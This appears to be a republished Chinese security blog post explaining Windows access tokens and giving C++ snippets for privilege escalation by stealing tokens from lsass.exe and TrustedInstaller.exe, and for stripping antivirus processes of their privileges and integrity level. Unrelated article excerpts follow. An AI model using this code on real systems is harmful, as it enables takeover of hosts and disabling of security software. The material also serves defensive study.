浅析Windows Access Token以及利用方法

news2024/12/26 13:53:30

1 前置概念

关于Windows Access Token

Windows Access
Token(访问令牌),它是一个描述进程或者线程安全上下文的一个对象。每个用户登录计算机都会产生一个AcessToken以用于创建进程和线程,用户注销以后会将主令牌切换成模拟令牌,也就是授权令牌和模拟令牌,不会清除令牌,只有重启才会。

两种类型的Token

  • Delegation token(授权令牌):用于交互会话登录(例如本地直接登录、rdp login 、psexec )

  • Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹,或者wmi、winrm等等)

注:
都是在登录时产生创建的

两种token只在系统重启后清除

具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效

TOKEN的产生

每个进程创建时都会根据登录会话权限由LSA(Local Security
Authority)分配一个Token(如果CreaetProcess时自己指定了Token, LSA会用该Token,否则就继承父进程Token进行运行)

TOKEN组成

当前用户的安全ID(SID)
当前用户所属组的安全ID(SID)
当前会话安全ID
用户所有的特权列表(包括用户本身,和其所属组)
令牌拥有者安全ID
用户所属主组群安全ID
默认的自由访问控制列表
源访问令牌
表明此令牌是源令牌还是模拟令牌
可选的链表,表明此令牌限制哪些SID
当前模拟令牌的级别
其他数据资料

2 进程的身份标识:Luid与SID

Luid

每个特权常量字符串(Privileges)都对应一个LUID(本地标识符),使用LookupPrivilegeName函数将LUID转换为其对应的字符串常量,总计是36个特权,所以LUID有36个(0x24),所有特权如下:

1661319688_6305ba0856e75ccad2e8c.png!small

  • MSDN对特权常量的描述:https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants

SID

安全标识符(SID)是用户、组的唯一标识符,SID的构成如下:

S-版本号-(颁发机构:Identity-Authority)-(子机构:SubAuthority)-RID

MSDN上的一个例子

1661319715_6305ba230fa64978f17f1.png!small

由4个部分组成,其中的子机构值是可以由多位组成,“whoami /all” 可以查看本机中的用户的sid以及用户组的sid

1661319745_6305ba41b1b14ed125bbc.png!small

这里讲一个后续会用到的sid:S-1-16-0,微软的解释是一个权限最低的完整性级别的SID。

1661319759_6305ba4f03abae9015769.png!small

标识符机构值为16(0x10)表示强制完整级别的SID,

1661319773_6305ba5d6f49db5d12432.png!small

微软关于强制完整性控制的解释。

1661319782_6305ba6641ae6fee5828f.png!small

3 举例

下面举一个赋予当前进程操作令牌DEBUG权限的例子。
很多操作一般都需要赋予当前进程操作令牌权限:SE_DEBUG_NAME,然后再进行令牌操作,比如清除令牌、伪造令牌,在加载驱动的时候如果要连接驱动是需要Debug权限的,否则无法进行createFile生成驱动句柄。

OpenProcessToken
获取进程令牌,GetCurrentProcess获取到当前进程伪句柄(进程之间通信伪句柄需要转化成实句柄(DuplicateHandle))。

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
    {
        printf("[-]get token failed!\n");
    }
    else {
        printf("[*]get token success\n");
    }

LookupPrivilegeValue 获取本地系统的 SE_DEBUG_NAME 特权的LUID值返回给sedebugnameValue。

if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue))
    {
        CloseHandle(hToken);
        return false;
    }

AdjustTokenPrivileges 修改进程特权为 SE_DEBUG_NAME
特权,tkp.PrivilegeCount表示设置新特权的特权数量,tkp.Privileges[0].Attributes表示特权的属性;SE_PRIVILEGE_ENABLED就表示启用该特权。设置完记得GetLastError
看是否成功。

tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = sedebugnameValue;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
    {
        CloseHandle(hToken);
        return false;
    }

降权杀软进程

1.思路

  • 通过遍历36个Luid清空TOKEN、降权SID,来达到降权进程的目的

2.代码实现

  • 先给当前进程一个SE_DEBUG_NAME的特权,赋予进行token操作的权限

    bool EnableDebugPrivilege()
    {
    HANDLE hToken;
    LUID sedebugnameValue;
    TOKEN_PRIVILEGES tkp;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
    return FALSE;
    }
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue))
    {
    CloseHandle(hToken);
    return false;
    }
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = sedebugnameValue;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
    {
    CloseHandle(hToken);
    return false;
    }
    return true;
    }

  • 获取一下借用下lsass的token提权到system

    int pid = processID(“lsass.exe”);

    HANDLE ptoken;
    HANDLE phandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
    BOOL token = OpenProcessToken(phandle, TOKEN_DUPLICATE | TOKEN_QUERY, &ptoken);

    BOOL bRet = ImpersonateLoggedOnUser(ptoken);
    if (bRet == FALSE)
    return 1;

  • 打开目标进程,获取句柄

    HANDLE process = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processID(procname));
    erroint = GetLastError();
    if (erroint == NULL)
    printf(“[+]Get ProcHandle success Pid:%d\n”, processID(procname));
    else
    printf(“Get ProcHandle fail:%d\n”, erroint);

  • 获取到目标进程的token

    int ret = OpenProcessToken(process, TOKEN_ALL_ACCESS, &Ltoken);
    erroint = GetLastError();
    if (erroint == NULL)
    cout << “[+]Get ProcToken success” << endl;
    else
    printf(“Get ProcToken fail:%d\n”, erroint);

  • 核心代码:上文提到了LUID(特权常量)共计是36个(0x24),这里我们直接遍历36个每个全部移除掉。

    BOOL DisablePrivilege(HANDLE token) {
    typedef_ZwAdjustPrivilegesToken ZwAdjustPrivilegesToken = (typedef_ZwAdjustPrivilegesToken)GetProcAddress(LoadLibraryA(“ntdll.dll”), “ZwAdjustPrivilegesToken”);
    if (ZwAdjustPrivilegesToken == NULL) {
    printf(“Can not found ZwAdjustPrivilegesToken”);
    return -1;
    }

    for (int i = 0; i <= 0x24; i++) {
        TOKEN_PRIVILEGES tp = {};
        LUID luid = {};
        luid.HighPart = 0;
        luid.LowPart = i;
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;
        ZwAdjustPrivilegesToken(token, 0, &tp, sizeof(tp), NULL, NULL);
        erroint = GetLastError();
        if (erroint == NULL)
            cout << "[+]Remove ProcToken success" << endl;
        else
            printf("Remove ProcToken fail:%d\n", erroint);
    }
    
    return TRUE;
    

    }

  • 设置sid为不受信任的强制完整性权限:s-1-16-0(这里可理解为就是个弟中之弟的一个sid),

    DWORD integrityLevel = SECURITY_MANDATORY_UNTRUSTED_RID;
    SID sid = {};
    sid.Revision = SID_REVISION;
    sid.SubAuthorityCount = 1;
    sid.IdentifierAuthority.Value[5] = 16;
    sid.SubAuthority[0] = integrityLevel;

    TOKEN_MANDATORY_LABEL tml = {};
    tml.Label.Attributes = SE_GROUP_INTEGRITY;
    tml.Label.Sid = &sid;

  • 最后重新设置目标进程的token和sid,

    BOOL Rret = SetTokenInformation(Ltoken, TokenIntegrityLevel, &tml, sizeof(TOKEN_MANDATORY_LABEL));

  • 注意:当前时间已经无法获取到defender的token,GetLastError:5 提示权限不够,切换成TrustedInstaller也不行,或许是hook了OpenProcessToken,可以syscall试试。

通过token窃取获得TrustedInstaller权限

1. 什么是TrustedInstaller

在Windows系统中,即使获得了管理员权限和system权限,也不能修改系统文件,因为Windows系统的最高权限为TrustedInstaller

2. 如何得到它的token

直接窃取TrustedInstaller.exe的token,起一个进程就可以得到一个trustedInstaller权限的进程。前提是需要system权限

3. 代码实现

大致操作如下:先窃取lsass.exe的token提升当前进程的权限为system,然后窃取TrustedInstaller.exe的token,来获得一个拥有TrustedInstaller权限的CMD

  • 获取一个system权限的进程句柄,通过进程句柄获取到token,并且赋予给当前进程,提权到system。

    HANDLE ptoken1;
    HANDLE phandle1 = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid1);
    BOOL token1 = OpenProcessToken(phandle1, TOKEN_DUPLICATE | TOKEN_QUERY, &ptoken1);

    BOOL bRet1 = ImpersonateLoggedOnUser(ptoken1);
    if (bRet1 == FALSE)
        return 1;
    
  • 通过进程快照,查找到TrustedInstaller.exe的pid。

    wchar_t procname[80] = L"TrustedInstaller.exe";
    int pid = FindProcessId(procname);

  • 获取当前进程的token给到htoken。

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
    {
    printf(“[-]get token failed!\n”);
    }
    else {
    printf(“[*]get token success\n”);
    }

  • 打开TrustedInstaller.exe,获取到它的进程句柄phandle。

    HANDLE phandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);

    if (phandle != INVALID_HANDLE_VALUE) {
    
        printf("[*]Opened Target Handle\n");
    }
    else {
        printf("[-]Failed to open Process Handle\n");
    }
    
  • 取到TrustedInstaller.exe的token,这里我们只需要复制和查询权限即可,如果用TOKEN_ALL_ACCESS会提示无权限。

1661319806_6305ba7e5290703191202.png!small

BOOL token = OpenProcessToken(phandle, TOKEN_DUPLICATE | TOKEN_QUERY, &ptoken);
    if (token) {
        printf("[+]Opened Target Token Handle\n");
    }
    else {
        printf("[-]Failed to open Token Handle:%d\n", GetLastError());
    }
  • 再通过我们拿到的token去启一个我们想要启动的进程,

    BOOL ret = CreateProcessWithTokenW(hToken, LOGON_NETCREDENTIALS_ONLY, wstrExecutablePath.c_str(), NULL, 0, NULL, NULL, &si, &pi);
    if (!ret)
    printf(“[-]Create Failed:%d\n”, GetLastError());
    else
    printf(“[+]Create success!!”);

  • 最后可以看到从administrator提到了TrustedInstaller权限。

1661319824_6305ba900d1e26b458442.png!small

4 最后

这种token替换提权的操作无法通过普通用户来操作,最低都是要求要administrator,另可用于服务账户提权到systen,或者本地存在域管的token用来替换域管的token。

  • token操作需要操作账户拥有以下权限之一(whoami /priv):

    SeImpersonatePrivilege
    SeAssignPrimaryPrivilege
    SeTcbPrivilege
    SeBackupPrivilege
    SeRestorePrivilege
    SeCreateTokenPrivilege
    SeLoadDriverPrivilege
    SeTakeOwnershipPrivilege
    SeDebugPrivilege

以上有问题欢迎各位交流指出。

参考

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%88%A9%E7%94%A8
https://macchiato.ink/hst/bypassav/Token_Weakening/

网络安全工程师企业级学习路线

这时候你当然需要一份系统性的学习路线

如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

一些我收集的网络安全自学入门书籍

一些我白嫖到的不错的视频教程:

上述资料【扫下方二维码】就可以领取了,无偿分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/374546.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

《网络安全入门到精通》 - 2.1 - Windows基础 - DOS命令Windows防火墙Windows共享文件

「作者简介」&#xff1a;CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「订阅专栏」&#xff1a;此文章已录入专栏《网络安全入门到精通》 Windows基础一、DOS命令1、目录文件操作dir 列出目录文件cd 切换目录md 创建目录rd 删除目录move 移动文件或目…

零入门kubernetes网络实战-18->命令行式操作tun设备介绍

《零入门kubernetes网络实战》视频专栏地址 https://www.ixigua.com/7193641905282875942 本篇文章视频地址(稍后上传) 1、如何操作tun设备呢&#xff1f; 主要提供两种形式&#xff1a; 命令行操作tun设备 openvpn(不介绍)tunctl(不介绍&#xff0c;不同系统间可能存在兼容…

第五章.最邻近规则分类(KNN)

第五章.最邻近规则分类&#xff08;KNN&#xff09; 5.1 最邻近规则分类&#xff08;KNN&#xff09; 1.KNN的计算方式 1).为了判断未知实例的类别&#xff0c;以所有已知类别的实例作为参照选择参数K。 2).计算未知实例与所有已知实例的距离 (利用欧氏距离公式) 其他距离衡量…

Nginx 原理

nginx是一个反向代理服务器&#xff0c;那么他是如何做到和服务器的连接呢&#xff0c;怎么进行负载均衡呢&#xff1f;如何支持高并发&#xff1f;&#xff1f;&#xff1f; Nginx的特点 &#xff08;1&#xff09;跨平台&#xff1a;Nginx 可以在大多数 Unix like OS编译运行…

mysql源码编译安装、mysql的主从复制、IOSQL线程优化

文章目录前言一、mysql源码编译安装二、主从复制1.主从复制的作用、原理2.实验过程三、gtid模式四、半同步模式&#xff1a;优化IO线程五、并行复制/多线程复制&#xff1a;优化SQL线程六、延迟复制前言 mysql是现在普遍使用的数据库&#xff0c;但是如果宕机了必然会造成数据…

用PS设置宽480像素*高640像素,分辨率300dpi,24位真彩色 大小限制20K到40K之间的照片

最近需要设置一组照片&#xff0c;是学生录取大学的电子照片&#xff0c;具体要求如下&#xff1a;宽480像素*高640像素&#xff0c;分辨率300dpi&#xff0c;24位真彩色 大小限制20K到40K之间&#xff1b;照片底色为白色或者蓝色&#xff0c;其他颜色均不符合条件。首先&#…

python+pytest接口自动化(3)-接口测试一般流程及方法

首先我们要明确&#xff0c;通常所接口测试其实就属于功能测试&#xff0c;主要校验接口是否实现预定的功能&#xff0c;虽然有些情况下可能还需要对接口进行性能测试、安全性测试。在学习接口自动化测试之前&#xff0c;我们先来了解手工接口测试怎样进行。URL组成为了更好的理…

数学建模介绍

&#x1f680;write in front&#x1f680; &#x1f4dc;所属专栏&#xff1a; &#x1f6f0;️博客主页&#xff1a;睿睿的博客主页 &#x1f6f0;️代码仓库&#xff1a;&#x1f389;VS2022_C语言仓库 &#x1f3a1;您的点赞、关注、收藏、评论&#xff0c;是对我最大的激励…

【分布式系统】MinIO之Multi-Node Multi-Drive架构分析

文章目录架构分析节点资源硬盘资源服务安装安装步骤创建系统服务新建用户和用户组创建环境变量启动服务负载均衡代码集成注意最近打算使用MinIO替代原来使用的FastDFS&#xff0c;所以一直在学习MinIO的知识。这篇文章是基于MinIO多节点多驱动的部署进行研究。 架构分析 节点资…

迁移系统:换电脑或者硬盘转移磁盘文件的方法!

为什么要将操作系统迁移到新驱动&#xff1f; “将操作系统转移到新驱动您好&#xff0c;我刚刚为我的台式机订购了一个新的2TB希捷Barracuda硬盘&#xff0c;我想知道如何将我的Windows 10操作系统与我下载的其他一些软件一起转移过来。我使用新的/大的硬盘&#xff0c;然…

SpringBoot配置文件(properties yml)

查看官网更多系统配置项&#xff1a;https://docs.spring.io/spring-boot/docs/current/reference/html/application-properties.html#application-properties 1.配置⽂件作⽤ 整个项⽬中所有重要的数据都是在配置⽂件中配置的&#xff0c;⽐如&#xff1a;数据库的连接信息&am…

【华为OD机试模拟题】用 C++ 实现 - 能力组队(2023.Q1)

最近更新的博客 【华为OD机试模拟题】用 C++ 实现 - 去重求和(2023.Q1) 文章目录 最近更新的博客使用说明能力组队题目输入输出示例一输入输出说明示例二输入输出Code使用说明 参加华为od机试,一定要注意不要完全背诵代码,需要理解之后模仿写出,通过率才会高。 华为 O…

如何调教ChatGPT成为你的策略助手

量化策略开发&#xff0c;高质量社群&#xff0c;交易思路分享等相关内容 『正文』 ˇ 去年12月的时候我们初次体验ChatGPT,《ChatGPT生成量化交易策略》. 当时还是很惊喜的&#xff0c;可以辅助写代码&#xff0c;写注释&#xff0c;给出一些示例。使用的时间长了发现写一…

java面试题-GC垃圾回收

1.如何判断一个对象是否可以回收&#xff1f;Java虚拟机使用可达性分析算法来判断对象是否可以被回收。可达性分析算法的基本思路是从一组称为“GC Roots”的根对象开始遍历所有对象&#xff0c;只有从GC Roots开始的对象可以被访问到&#xff0c;其他的对象都被判定为无用对象…

13 Sentinel介绍

什么是Sentinel 分布式系统的流量防卫兵&#xff1a;随着微服务的普及&#xff0c;服务调用的稳定性变得越来越重要。Sentinel以“流量”为切入点&#xff0c;在流量控制、断路、负载保护等多个领域开展工作&#xff0c;保障服务可靠性。特点&#xff1a; 2. 丰富的应用场景&a…

Java 锁 高频 面试题回答

之前面了几个开发&#xff0c;问了关于锁的知识都是一问三不知 &#xff0c;也许是业务场景中出现的比较少&#xff0c;所以这些人只能回答出一些基础的线程方面的知识&#xff0c;之前也看了些书&#xff0c;做一些记录 &#xff0c;所以和大家分享一下 说一下乐观锁和悲观锁的…

Binder系统-C程序示例_框架分析

IPC&#xff1a;进程间的通信&#xff0c;远程调用&#xff0c;比如我们的A进程需要打开LED灯&#xff0c;调用led_open/led_ctl方法&#xff0c;但是他是没有权限去操作的&#xff0c;所以进程A通过&#xff1a;1.首先构造一些数据&#xff0c;2.通过IPC发送数据到进程B&#…

LPC4357JET256/LPC4337FET256/LPC4337JET256 32位MCU 204MHz 1MB

【详情】LPC4300系列微控制器(MCU)拥有全世界首款非对称双核数字信号控制器体系结构&#xff0c;配有ARM Cortex-M4和Cortex-M0处理器。这些NXP Cortex-M4 MCU配有Cortex-M0协处理器&#xff0c;优势在于&#xff0c;可在单一体系结构、开发环境中&#xff0c;开发数字信号处理…

画栋雕梁:定制投资体系2——规划开发能力圈

接上一篇&#xff0c;选择了适合自己“买”的方法&#xff0c;接下来就是要规划买的范围。这个范围一般受个人眼界、认知和理解的限制&#xff0c;也即是价值投资中的一个重要概念——能力圈。每个人的能力圈不可能一样&#xff0c;这和个人过往的学习、工作、成长经历相关。若…

PyQGIS开发 -- 基础学习笔记

1、自主学习QGIS开发虽然QGIS本身功能强大&#xff0c;但还是架不住我们要编写新的功能、新的业务流程、新的算法。前文中我们提到&#xff0c;扩展QGIS有2种方法&#xff0c;一是用Python、C来写QGIS的插件&#xff1b;另一种就是基于QGIS的C API开发独立应用程序。然而后者资…